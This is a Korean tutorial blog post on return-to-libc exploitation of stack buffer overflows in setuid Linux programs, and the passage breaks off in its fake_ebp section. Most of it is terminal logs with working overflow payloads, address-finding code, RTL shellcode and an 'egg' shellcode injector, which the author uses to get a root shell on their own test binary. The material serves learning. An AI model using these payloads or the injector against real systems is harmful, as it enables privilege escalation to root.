Return-to-Lib 기법 이해하기

미래지향적 | 2007/05/27 14:07

2004년1월쯤에 작성된 문서입니다.

━┯━━┯━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  │목차│
  └──┘

  0x00. 잡담

  0x01. 오메가 기법의 헛발질
  0x02. Return-to-Lib 기법의 기본
  0x03. 쉘코드 없이 BOF 해결하기
  0x04. RTL기법으로 쉘코드 만들기
  0x05. fake_ebp란...?

  0x06. 마치며..


≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━┯━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  │0x00. 잡담│
  └─────┘

새로운 기술문서나 취약점에 대한 문서는 아니지만, 나름대로 하나하나 실습을 통해
체득하면서 작성한 문서입니다.

이해력이 딸리는 관계로 잘못 이해하고 있거나, 잘못된 내용이 있으면 지적바랍니다.

본 문서는 Return-to-Lib의 기법에 대한 내용을 담고 있습니다.
이하 존칭은 생략합니다.

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━━━━━━━━━┯━━━━━━━━━━━━━━━━━━━━━━━ 
  │0x01. 오메가 기법의 헛발질│
  └─────────────┘

오메가 기법은 쉘코드가 넣지 못할 정도로 적은 버퍼이거나
쉘코드를 만들 수 없는 환경에서 BOF 취약점을 통해 쉘을 획득할 수 있는 공격방법 중 하나이다.
실제로 프로그램이 진행되는 동안의 메모리구조 안에는 환경변수며, 시스템 함수 등도 포함되게 된다.
그 system()의 위치를 찾아서 이용하는게 오메가 기법의 핵심이였다.
하지만 리눅스 커널버전이 업되면서 setreuid 코드가 없으면 쉘권한이 상승하지 않고, 자신의 쉘이 떨어지게 되었다.
간단한 예제를 통해서 알아보자.

[root@RealSkulls WGD]# cat test.c
#include "dumpcode.h"

int main(int argc, char *argv[])
{
        char string[4];
        strcpy(string, argv[1]);
        dumpcode(string, 100);
}

[root@RealSkulls WGD]# gcc -o test test.c
[root@RealSkulls WGD]# chmod 4755 test

자세한 메모리 공간을 위해 덤프코드추가^^;
이제 우리가 알고 있는 오메가 기법으로 저 문제를 해결해 보자.

[w0rm9@RealSkulls WGD]$ gdb -q ./test
(gdb) b main
Breakpoint 1 at 0x8048598
(gdb) r
Starting program: /rs_members/w0rm9/tmp/WGD/test

Breakpoint 1, 0x08048598 in main ()
(gdb) x/x system
0x4005e430 <system>:    0x83e58955
(gdb) q

/bin/sh의 주소는 간단한 프로그램을 작성하여 찾을 수 있다.

[w0rm9@RealSkulls WGD]$ cat find.c
int main(int argc, char **argv)
{
        long shell;
        shell = 0x4005e430;
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
}

[w0rm9@RealSkulls WGD]$ gcc -o find find.c
[w0rm9@RealSkulls WGD]$ ./find
"/bin/sh" is at 0x40149d24

시스템 함수의 주소 : 0x4005e430
/bin/sh의 주소 : 0x40149d24
공격 시작~
[w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x30\xe4\x05\x40\x41\x41\x41\x41\x24\x9d\x14\x40"'
0xbffffaa4  41 41 41 41 41 41 41 41 30 e4 05 40 41 41 41 41   AAAAAAAA0..@AAAA
0xbffffab4  24 9d 14 40 00 fb ff bf 2c 58 01 40 02 00 00 00   $..@....,X.@....
0xbffffac4  e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08   ................
0xbffffad4  02 00 00 00 f4 fa ff bf cc 85 04 08 fc 85 04 08   ................
0xbffffae4  60 c6 00 40 ec fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffaf4  ef fb ff bf f6 fb ff bf 00 00 00 00 0b fc ff bf   ................
0xbffffb04  23 fc ff bf                                       #...
sh-2.05b$ id
uid=5013(w0rm9) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel)

역시 안떴다. 헛발질을 했다.
쉘코드에서도 setreuid를 추가해줬던것 처럼 오메가 기법에서도 setreuid를 추가해 줄 순 없을까?
그 물음의 답은 0x02에서 알아보자.

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━━━━━━━━━━━━┯━━━━━━━━━━━━━━━━━━━
  │0x02. Return-to-Lib 기법의 기본 │
  └────────────────┘

다음의 소스를 통해 연속적으로 함수를 호출했을시 어떻게 되는지 알아보자.

[root@RealSkulls WGD]# cat test2.c
#include "dumpcode.h"
void func1(){
        printf("First WGD\n");
}
void func2(){
        printf("I am w0rm9\n");
}
void func3(){
        printf("WiseGuys\n");
}
void func4(){
printf("Research Group\n");
}
int main(int argc, char* argv[]){
        char buf[4];

        strcpy(buf, argv[1]);
        dumpcode(buf, 100);
        printf("buf: %s\n", buf);
}

[root@RealSkulls WGD]# gcc -o test2 test2.c

gdb를 통해 함수가 호출되는 시작주소를 알아보자.

[root@RealSkulls WGD]# gdb -q test2
(gdb) disass func1
Dump of assembler code for function func1:
0x08048592 <func1+0>:   push   %ebp
0x08048593 <func1+1>:   mov    %esp,%ebp
0x08048595 <func1+3>:   sub    $0x8,%esp
0x08048598 <func1+6>:   sub    $0xc,%esp
0x0804859b <func1+9>:   push   $0x8048707
0x080485a0 <func1+14>:  call   0x80482c4 <printf>
0x080485a5 <func1+19>:  add    $0x10,%esp
0x080485a8 <func1+22>:  leave 
0x080485a9 <func1+23>:  ret   
End of assembler dump.
(gdb) disass func2
Dump of assembler code for function func2:
0x080485aa <func2+0>:   push   %ebp
0x080485ab <func2+1>:   mov    %esp,%ebp
0x080485ad <func2+3>:   sub    $0x8,%esp
0x080485b0 <func2+6>:   sub    $0xc,%esp
0x080485b3 <func2+9>:   push   $0x8048712
0x080485b8 <func2+14>:  call   0x80482c4 <printf>
0x080485bd <func2+19>:  add    $0x10,%esp
0x080485c0 <func2+22>:  leave 
0x080485c1 <func2+23>:  ret   
End of assembler dump.
(gdb) disass func3
Dump of assembler code for function func3:
0x080485c2 <func3+0>:   push   %ebp
0x080485c3 <func3+1>:   mov    %esp,%ebp
0x080485c5 <func3+3>:   sub    $0x8,%esp
0x080485c8 <func3+6>:   sub    $0xc,%esp
0x080485cb <func3+9>:   push   $0x804871e
0x080485d0 <func3+14>:  call   0x80482c4 <printf>
0x080485d5 <func3+19>:  add    $0x10,%esp
0x080485d8 <func3+22>:  leave 
0x080485d9 <func3+23>:  ret   
End of assembler dump.
(gdb) disass func4
Dump of assembler code for function func4:
0x080485da <func4+0>:   push   %ebp
0x080485db <func4+1>:   mov    %esp,%ebp
0x080485dd <func4+3>:   sub    $0x8,%esp
0x080485e0 <func4+6>:   sub    $0xc,%esp
0x080485e3 <func4+9>:   push   $0x8048728
0x080485e8 <func4+14>:  call   0x80482c4 <printf>
0x080485ed <func4+19>:  add    $0x10,%esp
0x080485f0 <func4+22>:  leave 
0x080485f1 <func4+23>:  ret   
End of assembler dump.
(gdb)

함수의 호출주소르를 정리해보면 다음과 같다.
func1 : 0x08048592
func2 : 0x080485aa
func3 : 0x080485c2
func4 : 0x080485da

함수의 인자값을 요하지 않는 경우 RET이후 연속하여 함수의 주소를 호출하면..?

[root@RealSkulls WGD]# ./test2 `perl -e 'print "AAAAAAAA\x92\x85\x04\x08\xaa\x85\x04\x08\xc2\x85\x04\x08\xda\x85\x04\x08"'`
0xbffffa74  41 41 41 41 41 41 41 41 92 85 04 08 aa 85 04 08   AAAAAAAA........
0xbffffa84  c2 85 04 08 da 85 04 08 00 58 01 40 02 00 00 00   .........X.@....
0xbffffa94  e4 82 04 08 00 00 00 00 05 83 04 08 f2 85 04 08   ................
0xbffffaa4  02 00 00 00 c4 fa ff bf 40 86 04 08 70 86 04 08   ........@...p...
0xbffffab4  60 c6 00 40 bc fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffac4  cb fb ff bf d3 fb ff bf 00 00 00 00 ec fb ff bf   ................
0xbffffad4  04 fc ff bf                                       ....
buf: AAAAAAAA뮞쬘?
First WGD
I am w0rm9
WiseGuys
Research Group
세그멘테이션 오류

보는봐야 같이 연속적으로 함수들이 호출되었다. 세그가 뜬다 깔끔하게 나오게 하기 위해서 exit를 추가시켰다.

[root@RealSkulls WGD]# gdb -q test2
(gdb) b main
Breakpoint 1 at 0x80485f8
(gdb) r
Starting program: /rs_members/w0rm9/tmp/WGD/test2

Breakpoint 1, 0x080485f8 in main ()
(gdb) x/x exit
0x400478d0 <exit>:      0x57e58955
(gdb) q
The program is running.  Exit anyway? (y or n) y
[root@RealSkulls WGD]# ./test2 `perl -e 'print "AAAAAAAA\x92\x85\x04\x08\xaa\x85\x04\x08\xc2\x85\x04\x08\xda\x85\x04\x08\xd0\x78\x04\x40"'`
0xbffffa74  41 41 41 41 41 41 41 41 92 85 04 08 aa 85 04 08   AAAAAAAA........
0xbffffa84  c2 85 04 08 da 85 04 08 d0 78 04 40 00 00 00 00   .........x.@....
0xbffffa94  e4 82 04 08 00 00 00 00 05 83 04 08 f2 85 04 08   ................
0xbffffaa4  02 00 00 00 c4 fa ff bf 40 86 04 08 70 86 04 08   ........@...p...
0xbffffab4  60 c6 00 40 bc fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffac4  c7 fb ff bf cf fb ff bf 00 00 00 00 ec fb ff bf   ................
0xbffffad4  04 fc ff bf                                       ....
buf: AAAAAAAA뮞쬘?@
First WGD
I am w0rm9
WiseGuys
Research Group

깔끔하게 잘 되었다. 함수의 호출순서를 바꿔보자.

[root@RealSkulls WGD]# ./test2 `perl -e 'print "AAAAAAAA\xaa\x85\x04\x08\xc2\x85\x04\x08\xda\x85\x04\x08\x92\x85\x04\x08\xd0\x78\x04\x40"'`
0xbffffa74  41 41 41 41 41 41 41 41 aa 85 04 08 c2 85 04 08   AAAAAAAA........
0xbffffa84  da 85 04 08 92 85 04 08 d0 78 04 40 00 00 00 00   .........x.@....
0xbffffa94  e4 82 04 08 00 00 00 00 05 83 04 08 f2 85 04 08   ................
0xbffffaa4  02 00 00 00 c4 fa ff bf 40 86 04 08 70 86 04 08   ........@...p...
0xbffffab4  60 c6 00 40 bc fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffac4  c7 fb ff bf cf fb ff bf 00 00 00 00 ec fb ff bf   ................
0xbffffad4  04 fc ff bf                                       ....
buf: AAAAAAAAぢ??@
I am w0rm9
WiseGuys
Research Group
First WGD

함수의 나열순서와 상관없이 호출순서에 관계하여 진행된다는걸 알 수 있다.

이번엔 인자값을 요하는 함수의 경우 어떻게 호출하고 매개변수를 어떤식으로 넣어주는지에 대해 다음 예제를 보고 알아보자.

[root@RealSkulls WGD]# cat test3.c
#include "dumpcode.h"

void func1(int num){
        printf("w0rm9은 wiseguys %d기다.\n", num);
}
void func2(int num){
        printf("z0nKT1g3r는 wiseguys %d기다.\n", num);
}
int main(int argc, char* argv[]){
        char buf[4];

        fgets(buf, 100, stdin);
        dumpcode(buf, 100);
        printf("buf: %s\n", buf);
}

[root@RealSkulls WGD]# gcc -o test3 test3.c

w0rm9은 2기이고, 쫑크는 1기이니깐 func1의 매개변수로 2가 와야되고, func2의 매개변수로 1이 와야된다.
어떻게? 하지만 걱정할 필요가 없다. 우리는 이미 알고있다.
오메가 방법시 RET에 system주소를 넣은 후 4바이트 뒤에 system함수의 매개변수가 되는 /bin/sh를 넣었다.
이번에도 func1의 4바이트 뒤에 2(0x00000002)를 넣고, func2의 4바이트 뒤에 1(0x00000001)를 넣어보자.
먼저 gdb를 통해 각 함수들의 시작주소값을 알아보자.

[w0rm9@RealSkulls WGD]$ gdb -q test3
(gdb) disas func1
Dump of assembler code for function func1:
0x080485b2 <func1+0>:   push   %ebp
0x080485b3 <func1+1>:   mov    %esp,%ebp
0x080485b5 <func1+3>:   sub    $0x8,%esp
0x080485b8 <func1+6>:   sub    $0x8,%esp
0x080485bb <func1+9>:   pushl  0x8(%ebp)
0x080485be <func1+12>:  push   $0x80486ff
0x080485c3 <func1+17>:  call   0x80482f4 <printf>
0x080485c8 <func1+22>:  add    $0x10,%esp
0x080485cb <func1+25>:  leave 
0x080485cc <func1+26>:  ret   
End of assembler dump.
(gdb) disas func2
Dump of assembler code for function func2:
0x080485cd <func2+0>:   push   %ebp
0x080485ce <func2+1>:   mov    %esp,%ebp
0x080485d0 <func2+3>:   sub    $0x8,%esp
0x080485d3 <func2+6>:   sub    $0x8,%esp
0x080485d6 <func2+9>:   pushl  0x8(%ebp)
0x080485d9 <func2+12>:  push   $0x8048719
0x080485de <func2+17>:  call   0x80482f4 <printf>
0x080485e3 <func2+22>:  add    $0x10,%esp
0x080485e6 <func2+25>:  leave 
0x080485e7 <func2+26>:  ret   
End of assembler dump.

func1 : 0x080485b2
func2 : 0x080485cd

[w0rm9@RealSkulls WGD]$ (printf "AAAAAAAA\xb2\x85\x04\x08\xcd\x85\x04\x08\x02\x00\x00\x00\x01\x00\x00\x00";cat)|./test3

0xbffff1d4  41 41 41 41 41 41 41 41 b2 85 04 08 cd 85 04 08   AAAAAAAA........
0xbffff1e4  02 00 00 00 01 00 00 00 0a 00 01 40 01 00 00 00   ...........@....
0xbffff1f4  04 83 04 08 00 00 00 00 25 83 04 08 e8 85 04 08   ........%.......
0xbffff204  01 00 00 00 24 f2 ff bf 38 86 04 08 68 86 04 08   ....$...8...h...
0xbffff214  60 c6 00 40 1c f2 ff bf 00 00 00 00 01 00 00 00   `..@............
0xbffff224  24 f3 ff bf 00 00 00 00 2c f3 ff bf 44 f3 ff bf   $.......,...D...
0xbffff234  4f f3 ff bf                                       O...
buf: AAAAAAAA꽜?
w0rm9은 wiseguys 2기다.
z0nKT1g3r는 wiseguys 1기다.

세그멘테이션 오류

해결됐다. 이런식으로 매개변수를 넣을 수 있다면 BOF에서도 써먹을 수 있을 듯 하다.

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━━━━━━━━━━━┯━━━━━━━━━━━━━━━━━━━━
  │0x03. 쉘코드 없이 BOF 해결하기│
  └───────────────┘

이제 위에서 해결하지 못했던 bof문제를 해결해보자.
RET를 setreuid로 덮기 위해서 streuid의 주소를 알아내야한다.

[root@RealSkulls WGD]# cat test.c
#include "dumpcode.h"

int main(int argc, char *argv[])
{
        char string[4];
        strcpy(string, argv[1]);
        dumpcode(string, 100);
}

[w0rm9@RealSkulls WGD]$ ls -al test
-rwsr-xr-x    1 root     root        12325  1월  4 15:09 test
root 권한으로 s가 걸려있으니, 매개변수로 0을 넣으면 되겠다.

[w0rm9@RealSkulls WGD]$ gdb -q test
(gdb) b main
Breakpoint 1 at 0x8048598
(gdb) r
Starting program: /rs_members/w0rm9/tmp/WGD/test

Breakpoint 1, 0x08048598 in main ()
(gdb) x/x setreuid
0x400f8cc0 <setreuid>:  0x83e58955

다시 공격의 과정을 정리를 해보면 system()에 의해 /bin/sh이 실행되기 전에 setreuid()가 실행되어야지,
setreuid의 매겨변수로 설정한 root 권한으로 쉘이 떨어진다.
즉, RET를 system으로 덮는게 아니라 setreuid로 덮고 그 다음 함수의 호출을 system로 하고, 각각의 매개변수를
각 함수들의 4바이트 뒤에 넣어주면 되겠다.
[buf(4)][ebp(4)][ret(4)] 이런 구조를
[buf(4)][ebp(4)][setreuid(4)][system(4)][0x00000000(4)][/bin/sh addr(4)] 이렇게 덮어주면 되겠다.
하지만 위의 문제에선 setcpy 함수를 쓰기때문에 널값을 넣지 못한다. 임의로 0x01010101을 넣어주도록 하겠다.

system : 0x4005e430
/bin/sh : 0x40149d24
setreuid : 0x400f8cc0

[w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\xc0\x8c\x0f\x40\x30\xe4\x05\x40\x01\x01\x01\x01\x24\x9d\x14\x40"'
0xbffffaa4  41 41 41 41 41 41 41 41 c0 8c 0f 40 30 e4 05 40   AAAAAAAA...@0..@
0xbffffab4  01 01 01 01 24 9d 14 40 00 58 01 40 02 00 00 00   ....$..@.X.@....
0xbffffac4  e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08   ................
0xbffffad4  02 00 00 00 f4 fa ff bf cc 85 04 08 fc 85 04 08   ................
0xbffffae4  60 c6 00 40 ec fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffaf4  eb fb ff bf f2 fb ff bf 00 00 00 00 0b fc ff bf   ................
0xbffffb04  23 fc ff bf                                       #...
sh-2.05b$ id
uid=16843009 gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel)

쉘이 떴다. uid=16843009이다. 이는 16843009(Dec) == 01010101(Hex)이기 때문이다.
해결할 수 없는 문제일까? BOF를 일으키는 다른 함수들(scanf, fgets..)에서 테스트해보니 무리없이 해결되었다.
그렇다면 strcpy에선 uid=0 으로 바꾸는건 불가능한 것인가.?

다시 한번 덤프한 구조를 살펴보니 군데군데에 이미 0x00000000가 존재하고있었다.
[w0rm9@RealSkulls WGD]$ ./test AAAA
0xbffffac4  41 41 41 41 00 fa ff bf 17 29 03 40 02 00 00 00   AAAA.....).@....
0xbffffad4  14 fb ff bf 20 fb ff bf 2c 58 01 40 02 00 00 00   .... ...,X.@....
0xbffffae4  e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08   ................
0xbffffaf4  02 00 00 00 14 fb ff bf cc 85 04 08 fc 85 04 08   ................
0xbffffb04  60 c6 00 40 0c fb ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffb14  06 fc ff bf 0d fc ff bf 00 00 00 00 12 fc ff bf   ................
0xbffffb24  2a fc ff bf       

그럼 저곳을 setreuid의 매개변수가 되도록 버퍼의 값을 조정하면 어떻게 될까?
무리없이 함수를 진행하기 위해 printf의 주소를 사용했다.

[w0rm9@RealSkulls WGD]$ gdb -q test
(gdb) b main
Breakpoint 1 at 0x8048598
(gdb) r
Starting program: /rs_members/w0rm9/tmp/WGD/test

Breakpoint 1, 0x08048598 in main ()
(gdb) x/x system
0x4005e430 <system>:    0x83e58955
(gdb) x/x setreuid
0x400f8cc0 <setreuid>:  0x83e58955
(gdb) x/x printf
0x4006ef80 <printf>:    0x83e58955
(gdb)

0x00000000 앞에 system를 넣고 그 앞에 setreuid를 넣고 그 앞의 버퍼는 모두 printf로 채우면 되겠다.

[w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\xc0\x8c\x0f\x40\x30\xe4\x05\x40"'
0xbffffa94  41 41 41 41 41 41 41 41 80 ef 06 40 80 ef 06 40   AAAAAAAA...@...@
0xbffffaa4  80 ef 06 40 80 ef 06 40 80 ef 06 40 c0 8c 0f 40   ...@...@...@...@
0xbffffab4  30 e4 05 40 00 00 00 00 05 83 04 08 92 85 04 08   0..@............
0xbffffac4  02 00 00 00 e4 fa ff bf cc 85 04 08 fc 85 04 08   ................
0xbffffad4  60 c6 00 40 dc fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffae4  dd fb ff bf e4 fb ff bf 00 00 00 00 09 fc ff bf   ................
0xbffffaf4  21 fc ff bf                                       !...
sh: line 1: ?륶됧SP? command not found

앗..쉘..system 함수에 의해서 무엇가가 실행됐다.
그렇다면 그 부분에다가 /bin/sh를 링크 걸어놓으면 될 듯 하다. 먼저 PATH에 현재디렉토리를 추가시키고,
에러메시지를  err에 담아서 파일이름에 해당되는 부분만 file에 넣고 링크를 하자.

[w0rm9@RealSkulls WGD]$ export PATH=$PATH:./
[w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\xc0\x8c\x0f\x40\x30\xe4\x05\x40"' 2> err
0xbffffa94  41 41 41 41 41 41 41 41 80 ef 06 40 80 ef 06 40   AAAAAAAA...@...@
0xbffffaa4  80 ef 06 40 80 ef 06 40 80 ef 06 40 c0 8c 0f 40   ...@...@...@...@
0xbffffab4  30 e4 05 40 00 00 00 00 05 83 04 08 92 85 04 08   0..@............
0xbffffac4  02 00 00 00 e4 fa ff bf cc 85 04 08 fc 85 04 08   ................
0xbffffad4  60 c6 00 40 dc fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffae4  dd fb ff bf e4 fb ff bf 00 00 00 00 09 fc ff bf   ................
0xbffffaf4  21 fc ff bf                                       !...
[w0rm9@RealSkulls WGD]$ cat err|awk -F ':' '{print $3}'|awk -F ' ' '{print $1}' > file
[w0rm9@RealSkulls WGD]$ ln -s /bin/sh `cat file`

제대로 링크가 걸렸는지 확인하고, 다시 공격을 해보자.

[w0rm9@RealSkulls WGD]$ ls -al
합계 56
lrwxrwxrwx    1 w0rm9    w0rm9           7  1월  7 19:01 ???U??SP? -> /bin/sh       <===== 링크되었음
drwxrwxr-x    2 w0rm9    w0rm9        4096  1월  7 19:07 .
drwx------    7 w0rm9    w0rm9        4096  1월  4 17:39 ..
-rw-r--r--    1 root     root          582  6월  6  2001 dumpcode.h
-rw-rw-r--    1 w0rm9    w0rm9          41  1월  7 18:59 err
-rw-rw-r--    1 w0rm9    w0rm9          10  1월  7 19:07 file
-rw-r--r--    1 root     root          191  1월  4 17:38 findsh.c
-rw-rw-r--    1 w0rm9    w0rm9          41  1월  5 14:16 out
-rwsr-xr-x    1 root     root        12325  1월  4 19:01 test
-rw-r--r--    1 root     root          142  1월  4 19:01 test.c
-rw-r--r--    1 root     root          332  1월  4 17:38 test2.c
-rw-r--r--    1 root     root          162  1월  4 17:38 test4.c
[w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\xc0\x8c\x0f\x40\x30\xe4\x05\x40"'
0xbffffa94  41 41 41 41 41 41 41 41 80 ef 06 40 80 ef 06 40   AAAAAAAA...@...@
0xbffffaa4  80 ef 06 40 80 ef 06 40 80 ef 06 40 c0 8c 0f 40   ...@...@...@...@
0xbffffab4  30 e4 05 40 00 00 00 00 05 83 04 08 92 85 04 08   0..@............
0xbffffac4  02 00 00 00 e4 fa ff bf cc 85 04 08 fc 85 04 08   ................
0xbffffad4  60 c6 00 40 dc fa ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffffae4  db fb ff bf e2 fb ff bf 00 00 00 00 07 fc ff bf   ................
0xbffffaf4  1f fc ff bf                                       ....
[root@RealSkulls WGD]# id
uid=0(root) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel)

root가 됐다. 만세-_-/

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━━━━━━━━━━━━┯━━━━━━━━━━━━━━━━━━━
  │0x04. RTL기법으로 쉘코드 만들기 │
  └────────────────┘

RTL기법으로 만든 쉘코드는 어떻게 보면 공격과정의 인련 코드들을 기계어로 뽑아논것에 불과할 수도 있을 수 있다.
뿐만아니라 만들어진 해당 시스템에 고유하기도 하다.
그래서 필자는 별로 좋아라 하지 않는다. 일단 그 과정을 알아보자.

먼저 /bin/sh의 주소, setreuid의 주소, system의 주소가 필요하다.

[w0rm9@RealSkulls WGD]$ gdb -q test
(gdb) b main
Breakpoint 1 at 0x8048598
(gdb) r
Starting program: /rs_members/w0rm9/tmp/WGD/test

Breakpoint 1, 0x08048598 in main ()
(gdb) x/x system
0x4005e430 <system>:    0x83e58955
(gdb) x/x setreuid
0x400f8cc0 <setreuid>:  0x83e58955
(gdb) q 
The program is running.  Exit anyway? (y or n) y
[w0rm9@RealSkulls WGD]$ cat findshell.c
int main(int argc, char **argv)
{
        long shell;
        shell = 0x4005e430;
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
}
[w0rm9@RealSkulls WGD]$ gcc -o findshell findshell.c
[w0rm9@RealSkulls WGD]$ ./findshell
"/bin/sh" is at 0x40149d24
0x4005e430 <system>
0x400f8cc0 <setreuid>

준비는 끝났다. 그럼 공격시 스택에 들어가는 순서의 반대로 해당 값들을 push해주면 되겠다.

[w0rm9@RealSkulls WGD]$ cat shellcode.c
int main(){
       __asm__("
               push    $0x40149d24 "/bin/sh addr"
               xor     %eax, %eax "0 (몽이님 문서)"
               push    %eax
               push    $0x4005e430 "systmem() addr"
               push    $0x400f8cc0 "setreuid() addr"
               ret
               ");
}

[w0rm9@RealSkulls WGD]$ gcc -o shellcode shellcode.c
shellcode.c:2:16: warning: multi-line string literals are deprecated
[w0rm9@RealSkulls WGD]$ ls -al shellcode
-rwxrwxr-x    1 w0rm9    w0rm9       11444  1월  4 17:50 shellcode

[w0rm9@RealSkulls WGD]$ objdump -d shellcode

필요한 부분만 추출해보자.

080482f4 <main>:
80482f4:       55                      push   %ebp
80482f5:       89 e5                   mov    %esp,%ebp
8048304:       68 24 9d 14 40          push   $0x40149d24
8048309:       31 c0                   xor    %eax,%eax
804830b:       50                      push   %eax
804830c:       68 30 e4 05 40          push   $0x4005e430
8048311:       68 c0 8c 0f 40          push   $0x400f8cc0
8048316:       c3                      ret   

이 부분을 egg에 첨부해서 제대로 작동하는지 알아보자.

[w0rm9@RealSkulls WGD]$ cat egg.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP                     0x90


char shellcode[] =
"\x55\x89\xe5\x68\x24\x9d\x14\x40\x31\xc0\x50\x68\x30\xe4\x05\x40\x68\xc0\x8c\x0f\x40\xc3";

unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
        char    *buff, *ptr, *egg;
        long    *addr_ptr, addr;
        int     offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int     i, eggsize=DEFAULT_EGG_SIZE;

        if ( argc > 1 ) bsize = atoi(argv[1]);
        if ( argc > 2 ) offset = atoi(argv[2]);
        if ( argc > 3 ) eggsize = atoi(argv[3]);

        if ( !(buff = malloc(bsize)))
        {
                printf("Can't allocate memory for bsize\n");
                exit(0);
        }

        if ( !(egg = malloc(eggsize)))
        {
                printf("Can't allocate memory for eggsize");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("Using address: 0x%x\n", addr);

        ptr = buff;
        addr_ptr = (long *)ptr;
        for(i = 0; i < bsize; i+= 4)
                *(addr_ptr++) = addr;

        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for(i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';

        memcpy(egg, "EGG=", 4);
        putenv(egg);
        memcpy(buff, "RET=", 4);
        putenv(buff);
        system("/bin/bash");
}

[w0rm9@RealSkulls WGD]$ gcc -o egg egg.c
[w0rm9@RealSkulls WGD]$ ./egg
Using address: 0xbffffa98
[w0rm9@RealSkulls WGD]$ ./test `perl -e 'print "AAAAAAAA\x98\xfa\xff\xbf"'`
0xbffff1d4  41 41 41 41 41 41 41 41 98 fa ff bf 00 00 00 00   AAAAAAAA........
0xbffff1e4  24 f2 ff bf 30 f2 ff bf 2c 58 01 40 02 00 00 00   $...0...,X.@....
0xbffff1f4  e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08   ................
0xbffff204  02 00 00 00 24 f2 ff bf cc 85 04 08 fc 85 04 08   ....$...........
0xbffff214  60 c6 00 40 1c f2 ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffff224  18 f3 ff bf 1f f3 ff bf 00 00 00 00 2c f3 ff bf   ............,...
0xbffff234  44 f3 ff bf                                       D...
sh-2.05b# id
uid=0(root) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel)

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━━━━━━┯━━━━━━━━━━━━━━━━━━━━━━━━━
  │0x05. fake_ebp란...?│
  └──────────┘

마지막으로 알아볼 fake_ebp이다. 말 그대로 ebp를 속이는 작업이다.
프로그램에서 RET의 위치는 leaveret에 의해 ebp의 위치를 확인하여 ret를 지정한다.

[w0rm9@RealSkulls WGD]$ gdb -q test
(gdb) disas main
Dump of assembler code for function main:
0x08048592 <main+0>:    push   %ebp
0x08048593 <main+1>:    mov    %esp,%ebp
0x08048595 <main+3>:    sub    $0x8,%esp
0x08048598 <main+6>:    and    $0xfffffff0,%esp
0x0804859b <main+9>:    mov    $0x0,%eax
0x080485a0 <main+14>:   sub    %eax,%esp
0x080485a2 <main+16>:   sub    $0x8,%esp
0x080485a5 <main+19>:   mov    0xc(%ebp),%eax
0x080485a8 <main+22>:   add    $0x4,%eax
0x080485ab <main+25>:   pushl  (%eax)
0x080485ad <main+27>:   lea    0xfffffffc(%ebp),%eax
0x080485b0 <main+30>:   push   %eax
0x080485b1 <main+31>:   call   0x80482d4 <strcpy>
0x080485b6 <main+36>:   add    $0x10,%esp
0x080485b9 <main+39>:   sub    $0x8,%esp
0x080485bc <main+42>:   push   $0x64
0x080485be <main+44>:   lea    0xfffffffc(%ebp),%eax
0x080485c1 <main+47>:   push   %eax
0x080485c2 <main+48>:   call   0x80483dd <dumpcode>
